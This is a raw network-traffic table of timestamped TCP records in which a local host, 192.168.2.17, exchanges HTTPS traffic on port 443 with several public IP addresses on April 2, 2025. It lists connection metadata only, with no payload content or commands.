Apr 2, 2025 08:39:10.718192101 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:10.718327045 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:10.718563080 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:10.718578100 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:10.739101887 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:10.739186049 CEST	443	49721	162.159.61.3	192.168.2.17
Apr 2, 2025 08:39:10.739403963 CEST	49721	443	192.168.2.17	162.159.61.3
Apr 2, 2025 08:39:10.907146931 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:10.907231092 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:10.908498049 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:10.908508062 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:10.908785105 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:10.909145117 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:10.956269026 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.087927103 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088294029 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088373899 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.088382959 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088438034 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088517904 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088536024 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.088551998 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.088603020 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.091115952 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.093729973 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.093800068 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.093816042 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.096894026 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.096971035 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.096983910 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.100099087 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.100171089 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.100183964 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.102956057 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.103020906 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.103034019 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.105771065 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.105829954 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.105844021 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.111999989 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.112071991 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.112080097 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.112131119 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.112278938 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.115151882 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.117501020 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.117602110 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.117614031 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.117672920 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.117721081 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.120227098 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.169655085 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.169677973 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.178065062 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.178131104 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.178150892 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.179259062 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.179461956 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.179474115 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.181997061 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.182065964 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.182079077 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.187148094 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.187175989 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.187231064 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.187256098 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.187315941 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.189472914 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.200568914 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.200608015 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.200841904 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.200974941 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.200985909 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.203892946 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.203907013 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.203939915 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.203972101 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.204000950 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.204019070 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.204066038 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.206242085 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.206306934 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.206312895 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.206351995 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.214865923 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.316207886 CEST	49728	443	192.168.2.17	151.101.194.137
Apr 2, 2025 08:39:11.316298962 CEST	443	49728	151.101.194.137	192.168.2.17
Apr 2, 2025 08:39:11.981971025 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.982039928 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.983048916 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.983097076 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.984378099 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:11.984388113 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.984711885 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:11.985186100 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.032269955 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.584299088 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.584362030 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.584448099 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.584485054 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.588880062 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.588972092 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.588984966 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.594072104 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.594155073 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.594161034 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.601167917 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.601238966 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.601243973 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.605214119 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.605279922 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.605288029 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.618671894 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.618711948 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.618789911 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.618796110 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.618971109 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.834795952 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.835056067 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.835079908 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.839936018 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.840056896 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.840078115 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.844990015 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.845177889 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.845184088 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.851387978 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.851497889 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.851510048 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.855856895 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.856030941 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.856044054 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.862607956 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.862775087 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.862786055 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.874090910 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.874139071 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.874181032 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.874197006 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.874232054 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.924241066 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.924321890 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.924381018 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.924411058 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:12.924443007 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:12.973148108 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.097204924 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.097235918 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.097379923 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.097381115 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.097450972 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.097506046 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.097543955 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.097557068 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.097708941 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.109867096 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.109925985 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.110043049 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.110043049 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.110059023 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.110167027 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.120078087 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.120124102 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.120172024 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.120186090 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.120223045 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.120332003 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.131634951 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.131679058 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.131721020 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.131733894 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.131768942 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.132534981 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.142390013 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.142433882 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.142472982 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.142484903 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.142520905 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.143132925 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.149980068 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.150233984 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.160043001 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.160089970 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.160128117 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.160140038 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.160171986 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.160284042 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.166177988 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.166353941 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.166367054 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.171322107 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.171425104 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.171437025 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.175983906 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.176083088 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.176094055 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.185998917 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.186137915 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.186150074 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.191313982 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.191405058 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.191418886 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.192795992 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.192931890 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.192944050 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.198291063 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.198438883 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.198451042 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.203325033 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.203459978 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.203470945 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.209328890 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.209403992 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.209417105 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.214589119 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.214724064 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.214735985 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.226011992 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.226033926 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.226119041 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.226119995 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.226135015 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.275945902 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.350241899 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.350255966 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.350295067 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.350341082 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.350353003 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.350387096 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.351275921 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.361569881 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.361592054 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.361682892 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.361682892 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.361696959 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.362170935 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.373148918 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.373197079 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.373253107 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.373265028 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.373297930 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.373508930 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.383851051 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.383873940 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.383960009 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.383960009 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.383987904 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.384345055 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.395145893 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.395174026 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.395275116 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.395275116 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.395303011 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.395514965 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.400342941 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.400579929 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.400598049 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.410702944 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.410722971 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.410763025 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.410777092 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.410814047 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.417532921 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.417728901 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.417740107 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.422699928 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.425184965 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.425198078 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.428520918 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.428909063 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.428920031 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.439165115 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.439188004 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.439280987 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.439281940 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.439300060 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.448471069 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.448491096 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.448585987 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.448585987 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.448601007 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.458812952 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.458837032 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.458981991 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.458981991 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.459048986 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.467175007 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.467192888 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.467365026 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.467382908 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.471153021 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.471261978 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.471273899 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.472554922 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.472625971 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:13.472628117 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.472884893 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.472884893 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.627976894 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:13.628010035 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:13.628276110 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:13.628602982 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:13.628622055 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:13.783663034 CEST	49730	443	192.168.2.17	43.128.240.48
Apr 2, 2025 08:39:13.783725023 CEST	443	49730	43.128.240.48	192.168.2.17
Apr 2, 2025 08:39:14.009373903 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.009469986 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.010786057 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.010797024 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.011171103 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.011473894 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.052304029 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.140645027 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.140708923 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.140749931 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.140784025 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.140795946 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.140829086 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.140903950 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.223414898 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.223536968 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.223546028 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.223598957 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.223620892 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.223664999 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.223982096 CEST	49736	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.224000931 CEST	443	49736	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.374805927 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.374839067 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.375001907 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.375143051 CEST	49742	443	192.168.2.17	104.77.220.51
Apr 2, 2025 08:39:14.375157118 CEST	443	49742	104.77.220.51	192.168.2.17
Apr 2, 2025 08:39:14.563227892 CEST	443	49742	104.77.220.51	192.168.2.17
